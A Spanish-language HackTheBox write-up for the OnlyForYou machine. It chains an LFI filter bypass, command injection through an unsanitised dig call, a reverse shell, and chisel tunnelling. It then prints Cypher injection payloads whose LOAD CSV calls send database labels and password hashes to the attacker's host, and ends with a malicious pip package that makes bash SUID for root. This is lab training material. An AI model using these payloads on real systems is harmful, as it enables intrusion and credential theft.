OnlyForYou es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad xxxxx.
En este caso se trata de una máquina basada en el Sistema Operativo xxxxx.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina OnlyForYou 10.10.10.xxx a /etc/hosts como onlyforyou.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sVC -p- -oA enumeration/nmap 10.10.11.210 Nmap scan report for 10.10.11.210 Host is up (0.046s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA) | 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA) |_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://only4you.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 27 15:50:35 2023 -- 1 IP address (1 host up) scanned in 13.62 seconds |
En este caso vemos los puertos 22 y 80 abiertos así que vamos a ir enumerando los mismos.
Enumeración
Empezaremos por el puerto 80, y viendo el escaneo realizado, añadimos el dominio only4you.htb al fichero hosts y accedemos
No vemos gran cosa a simple vista, así que revisamos el código fuente y encontramos el subdominio beta.only4you.htb
Así que lo añadimos al fichero hosts y accedemos
Explotando un LFI
Encontramos un enlace para la descarga del código de la aplicación, así que lo descargamos y lo analizamos y encontramos una parte interesante en el fichero app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
@app.route('/download', methods=['POST']) def download(): image = request.form['image'] filename = posixpath.normpath(image) if '..' in filename or filename.startswith('../'): flash('Hacking detected!', 'danger') return redirect('/list') if not os.path.isabs(filename): filename = os.path.join(app.config['LIST_FOLDER'], filename) try: if not os.path.isfile(filename): flash('Image doesn\'t exist!', 'danger') return redirect('/list') except (TypeError, ValueError): raise BadRequest() return send_file(filename, as_attachment=True) |
Revisando el mismo, si el fichero a descargar comienza con los caracteres “..” detectaría un ataque así que vamos a burp y vamos a tratar de saltarnos la restricción, y después de algunas pruebas obtenemos el fichero passwd
Viendo el fichero, descubrimos dos posibles usuarios, dev y john así que vamos a ver que conseguimos.
Obtenemos la configuración de nginx para servir el portal
Conociendo la ruta donde se almacenan los ficheros, descargamos el fichero app.py de la aplicación y encontramos una línea muy interesante en el mismo
1 |
from form import sendmessage |
Así que vamos a descargarnos el fichero de form.py cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
import smtplib, re from email.message import EmailMessage from subprocess import PIPE, run import ipaddress def issecure(email, ip): if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): return 0 else: domain = email.split("@", 1)[1] result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if "v=spf1" not in output: return 1 else: domains = [] ips = [] if "include:" in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0) for domain in dms: domains.append(domain) while True: for domain in domains: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if "include:" in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear() for domain in dms: domains.append(domain) elif "ip4:" in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: pass break elif "ip4" in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: return 1 for i in ips: if ip == i: return 2 elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): return 2 else: return 1 def sendmessage(email, subject, message, ip): status = issecure(email, ip) if status == 2: msg = EmailMessage() msg['From'] = f'{email}' msg['To'] = 'info@only4you.htb' msg['Subject'] = f'{subject}' msg['Message'] = f'{message}' smtp = smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit() return status elif status == 1: return status else: return status |
Y encontramos una vulnerabilidad en la siguiente línea
1 |
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) |
En la misma está ejecutando el comando dig contra el dominio que se le proporcione sin realizar ninguna sanitización del valor introducido, así que para verificarlo vamos a lanzar una petición con curl desde burp
Y verificamos en nuestra escucha que ha funcionado correctamente
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.210 - - [27/May/2023 16:28:02] "GET / HTTP/1.1" 200 - |
Obtención de acceso con www-data
Así que el siguiente paso será enviar una revshell
Y obtendremos acceso con el usuario www-data en nuestra escucha
1 2 3 4 5 6 7 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from onlyforyou.htb [10.10.11.210] 45446 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Escalado al usuario john
Ahora que ya estamos dentro elevamos nuestra shell con python y revisamos los puertos abiertos en el servidor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
www-data@only4you:~$ netstat -ant netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN tcp 0 14 10.10.11.210:45446 10.10.14.9:4444 ESTABLISHED tcp 0 1 10.10.11.210:59026 8.8.8.8:53 SYN_SENT tcp 0 0 127.0.0.1:46216 127.0.0.1:3000 TIME_WAIT tcp6 0 0 127.0.0.1:7687 :::* LISTEN tcp6 0 0 127.0.0.1:7474 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN |
Y vemos dos puertos interesantes, el 3000 y el 8001, como no tenemos acceso subimos chisel y vamos a redireccionar los mismos para su acceso.
Lanzamos el servidor en nuestro kali
1 2 3 4 |
$ ./chisel server -p 9000 --reverse 2023/05/27 16:38:35 server: Reverse tunnelling enabled 2023/05/27 16:38:35 server: Fingerprint ioA/+gOuwH/nYMsv4lDVsFAY/6l/7IFDNnF8VQOi6tE= 2023/05/27 16:38:35 server: Listening on http://0.0.0.0:9000 |
Y el cliente en la máquina de onlyforyou
1 2 3 4 5 |
www-data@only4you:/tmp$ ./chisel client 10.10.14.9:9000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 & <:9000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 & [1] 3268 www-data@only4you:/tmp$ 2023/05/27 16:38:20 client: Connecting to ws://10.10.14.9:9000 2023/05/27 16:38:20 client: Connected (Latency 43.917876ms) |
Y lanzaremos un escaneo con nmap para obtener más información de los mismos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
$ nmap -sCV -p3000,8001 -oN portForwarding -oA enumeration/nmap2 localhost Nmap scan report for localhost (127.0.0.1) Host is up (0.00021s latency). Other addresses for localhost (not scanned): ::1 PORT STATE SERVICE VERSION 3000/tcp open ppp? | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Content-Type: text/html; charset=UTF-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | Set-Cookie: i_like_gogs=cc9c19cc10a8cb61; Path=/; HttpOnly | Set-Cookie: _csrf=ILuo1-r7bri8nH0IIUOFTM-oZvk6MTY4NTIwNTczNTU0MjE1ODM3Nw; Path=/; Domain=127.0.0.1; Expires=Sun, 28 May 2023 16:42:15 GMT; HttpOnly | X-Content-Type-Options: nosniff | X-Frame-Options: DENY | Date: Sat, 27 May 2023 16:42:15 GMT | <!DOCTYPE html> | <html> | <head data-suburl=""> | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge"/> | <meta name="author" content="Gogs" /> | <meta name="description" content="Gogs is a painless self-hosted Git service" /> | <meta name="keywords" content="go, git, self-hosted, gogs"> | <meta name="referrer" content="no-referrer" /> | <meta name="_csrf" content="ILuo1-r7bri8nH0IIUOFTM-oZvk6MTY4NTIwNTczNTU0MjE1O | HTTPOptions: | HTTP/1.0 500 Internal Server Error | Content-Type: text/plain; charset=utf-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | X-Content-Type-Options: nosniff | Date: Sat, 27 May 2023 16:42:20 GMT | Content-Length: 108 |_ template: base/footer:15:47: executing "base/footer" at <.PageStartTime>: invalid value; expected time.Time 8001/tcp open http Gunicorn 20.0.4 | http-title: Login |_Requested resource was /login |_http-server-header: gunicorn/20.0.4 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.92%I=7%D=5/27%Time=64723309%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x SF:20Request")%r(GetRequest,1FD6,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\ SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/; SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=cc9c19cc10a8cb61;\ SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=ILuo1-r7bri8nH0IIUOFTM-o SF:Zvk6MTY4NTIwNTczNTU0MjE1ODM3Nw;\x20Path=/;\x20Domain=127\.0\.0\.1;\x20E SF:xpires=Sun,\x2028\x20May\x202023\x2016:42:15\x20GMT;\x20HttpOnly\r\nX-C SF:ontent-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x2 SF:0Sat,\x2027\x20May\x202023\x2016:42:15\x20GMT\r\n\r\n<!DOCTYPE\x20html> SF:\n<html>\n<head\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-T SF:ype\"\x20content=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http SF:-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20n SF:ame=\"author\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"descripti SF:on\"\x20content=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20 SF:service\"\x20/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git SF:,\x20self-hosted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20conte SF:nt=\"no-referrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"ILuo1- SF:r7bri8nH0IIUOFTM-oZvk6MTY4NTIwNTczNTU0MjE1O")%r(Help,67,"HTTP/1\.1\x204 SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,14A SF:,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nContent-Type:\x20t SF:ext/plain;\x20charset=utf-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x2 SF:0Max-Age=2147483647\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20S SF:at,\x2027\x20May\x202023\x2016:42:20\x20GMT\r\nContent-Length:\x20108\r SF:\n\r\ntemplate:\x20base/footer:15:47:\x20executing\x20\"base/footer\"\x SF:20at\x20<\.PageStartTime>:\x20invalid\x20value;\x20expected\x20time\.Ti SF:me\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent- SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40 SF:0\x20Bad\x20Request"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 27 16:44:13 2023 -- 1 IP address (1 host up) scanned in 90.87 seconds |
Observamos un gogs en el puerto 3000, aunque si credenciales poco podemos hacer y un portal web en el puerot 8001 que luce el siguiente aspecto
Hacemos una prueba simple y entramos con las credenciales admin:admin al dashboard del portal
Y en el mismo vemos una tarea muy interesante
En la tarea indica que el portal ha sido migrado a una nueva base de datos en neo4j así que vamos a tratar de hacer una inyección SQL sobre la misma.
Así que para hacer la misma levantamos nuestra escucha en python
1 2 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... |
Y lanzamos la petición para tratar de obtener la versión del software de base de datos
Y obtenemos la versión en nuestra escucha
1 2 |
10.10.11.210 - - [27/May/2023 16:57:05] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1') 10.10.11.210 - - [27/May/2023 16:57:05] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 - |
El siguiente paso será obtener las labels con el siguiente payload
1 |
'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.9/?label='+label as l RETURN 0 as _0 // |
Y en nuestra escucha veremos lo siguiente
1 2 3 4 5 6 7 8 9 10 |
10.10.11.210 - - [27/May/2023 17:16:23] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:24] "GET /?label=employee HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:25] "GET /?label=user HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:16:25] "GET /?label=employee HTTP/1.1" 200 - |
Y ahora obtendremos el contenido de las labels
1 |
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.9/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // |
Y tenemos unas credenciales en nuestra escucha
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
10.10.11.210 - - [27/May/2023 17:19:24] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:24] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?username=john HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:25] "GET /?username=admin HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:26] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 - 10.10.11.210 - - [27/May/2023 17:19:26] "GET /?username=john HTTP/1.1" 200 - |
Hemos obtenido dos hashes así que vamos a meterlos en crackstation para tratar de descifrarlos
Y tenemos las dos claves descifradas.
Obteniendo la flag de user
Ahora que ya tenemos las claves entramos por ssh con el usuario john y cogemos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
$ ssh john@only4you.htb The authenticity of host 'only4you.htb (10.10.11.210)' can't be established. ED25519 key fingerprint is SHA256:U8eFq/5B0v+ZYi75z7P7z+tVF+SfX4vocJo2UsHEsxM. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'only4you.htb' (ED25519) to the list of known hosts. john@only4you.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-146-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat 27 May 2023 05:20:16 PM UTC System load: 0.12 Usage of /: 82.3% of 6.23GB Memory usage: 42% Swap usage: 0% Processes: 246 Users logged in: 0 IPv4 address for eth0: 10.10.11.210 IPv6 address for eth0: dead:beef::250:56ff:feb9:ee22 * Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use. https://ubuntu.com/pro Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Apr 18 07:46:32 2023 from 10.10.14.40 john@only4you:~$ id uid=1000(john) gid=1000(john) groups=1000(john) john@only4you:~$ john@only4you:~$ cat user.txt 3dxxxxxxxxxxxxxxxxxxxxxxxxxxxf8 |
Escalado de privilegios
Una vez dentro, revisamos en primer lugar los permisos de que dispone el usuario
1 2 3 4 5 6 |
john@only4you:~$ sudo -l Matching Defaults entries for john on only4you: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on only4you: (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz |
Podemos descargar ficheros para su instalación con pip, así que vamos a google y encontramos un post donde explota esta vulnerabilidad.
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
Así que nos descargamos el código del repositorio de github y vamos a editar el fichero de setup.py para dar permisos de suid al binario de bash y ejecutamos para compilar nuestro paquete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
$ python3 -m build * Creating venv isolated environment... * Installing packages in isolated environment... (setuptools >= 40.8.0, wheel) * Getting build dependencies for sdist... running egg_info chmod: cambiando los permisos de '/bin/bash': Operación no permitida creating this_is_fine_wuzzi.egg-info writing this_is_fine_wuzzi.egg-info/PKG-INFO writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' adding license file 'LICENSE' writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' * Building sdist... running sdist running egg_info chmod: cambiando los permisos de '/bin/bash': Operación no permitida writing this_is_fine_wuzzi.egg-info/PKG-INFO writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' adding license file 'LICENSE' writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' running check creating this_is_fine_wuzzi-0.0.1 creating this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info copying files to this_is_fine_wuzzi-0.0.1... copying LICENSE -> this_is_fine_wuzzi-0.0.1 copying README.md -> this_is_fine_wuzzi-0.0.1 copying setup.py -> this_is_fine_wuzzi-0.0.1 copying this_is_fine_wuzzi.egg-info/PKG-INFO -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info copying this_is_fine_wuzzi.egg-info/SOURCES.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info copying this_is_fine_wuzzi.egg-info/dependency_links.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info copying this_is_fine_wuzzi.egg-info/top_level.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info Writing this_is_fine_wuzzi-0.0.1/setup.cfg Creating tar archive removing 'this_is_fine_wuzzi-0.0.1' (and everything under it) * Building wheel from sdist * Creating venv isolated environment... * Installing packages in isolated environment... (setuptools >= 40.8.0, wheel) * Getting build dependencies for wheel... running egg_info chmod: cambiando los permisos de '/bin/bash': Operación no permitida writing this_is_fine_wuzzi.egg-info/PKG-INFO writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' adding license file 'LICENSE' writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' * Installing packages in isolated environment... (wheel) * Building wheel... running bdist_wheel running build installing to build/bdist.linux-x86_64/wheel running install chmod: cambiando los permisos de '/bin/bash': Operación no permitida running install_egg_info running egg_info chmod: cambiando los permisos de '/bin/bash': Operación no permitida writing this_is_fine_wuzzi.egg-info/PKG-INFO writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' adding license file 'LICENSE' writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt' Copying this_is_fine_wuzzi.egg-info to build/bdist.linux-x86_64/wheel/this_is_fine_wuzzi-0.0.1-py3.10.egg-info running install_scripts creating build/bdist.linux-x86_64/wheel/this_is_fine_wuzzi-0.0.1.dist-info/WHEEL creating '/data/ctf/htb/machines/todo/onlyforyou.htb/payloads/this_is_fine_wuzzi/dist/.tmp-mupu7s0_/this_is_fine_wuzzi-0.0.1-py3-none-any.whl' and adding 'build/bdist.linux-x86_64/wheel' to it adding 'this_is_fine_wuzzi-0.0.1.dist-info/LICENSE' adding 'this_is_fine_wuzzi-0.0.1.dist-info/METADATA' adding 'this_is_fine_wuzzi-0.0.1.dist-info/WHEEL' adding 'this_is_fine_wuzzi-0.0.1.dist-info/top_level.txt' adding 'this_is_fine_wuzzi-0.0.1.dist-info/RECORD' removing build/bdist.linux-x86_64/wheel Successfully built this_is_fine_wuzzi-0.0.1.tar.gz and this_is_fine_wuzzi-0.0.1-py3-none-any.whl |
Compilado nuestro paquete, accedemos al portal de gogs con las credenciales del usuario y crearemos nuestro repositorio
Una vez creado el repositorio, creamos el directorio y hacemos el primer commit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
john@only4you:~$ mkdir privesc john@only4you:~$ cd privesc/ john@only4you:~/privesc$ touch README.md john@only4you:~/privesc$ git init Initialized empty Git repository in /home/john/privesc/.git/ john@only4you:~/privesc$ git add README.md john@only4you:~/privesc$ git commit -m "first commit" [master (root-commit) 51e36a0] first commit 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 README.md john@only4you:~/privesc$ git remote add origin http://127.0.0.1:3000/john/privesc.git john@only4you:~/privesc$ git push -u origin master Enumerating objects: 3, done. Counting objects: 100% (3/3), done. Writing objects: 100% (3/3), 204 bytes | 204.00 KiB/s, done. Total 3 (delta 0), reused 0 (delta 0) Username for 'http://127.0.0.1:3000': john Password for 'http://john@127.0.0.1:3000': To http://127.0.0.1:3000/john/privesc.git * [new branch] master -> master Branch 'master' set up to track remote branch 'master' from 'origin'. |
Y subiremos nuestro paquete tar.gz generado previamente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
john@only4you:~/privesc$ git add this_is_fine_wuzzi-0.0.1.tar.gz john@only4you:~/privesc$ git commit -m "second commit" [master 1e297c9] second commit 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 this_is_fine_wuzzi-0.0.1.tar.gz john@only4you:~/privesc$ git push Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 2 threads Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 2.97 KiB | 2.97 MiB/s, done. Total 3 (delta 0), reused 0 (delta 0) Username for 'http://127.0.0.1:3000': john Password for 'http://john@127.0.0.1:3000': To http://127.0.0.1:3000/john/privesc.git 51e36a0..1e297c9 master -> master |
Una vez subido nuestro paquete, ejecutamos pip para su instalación
1 2 3 4 |
john@only4you:~/privesc$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/privesc/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz Collecting http://127.0.0.1:3000/john/privesc/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz File was already downloaded /home/john/privesc/this_is_fine_wuzzi-0.0.1.tar.gz Successfully downloaded this-is-fine-wuzzi |
Y verificamos los permisos del binario de bash
1 2 |
john@only4you:~/privesc$ ls -l /bin/bash -rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash |
Obteniendo la flag de root
Con los permisos de suid en el binario de bash, escalamos a root y cogemos nuestra flag
1 2 3 4 5 |
john@only4you:~/privesc$ bash -p bash-5.0# id uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john) bash-5.0# cat /root/root.txt 8fxxxxxxxxxxxxxxxxxxxxxxxxxxa3 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace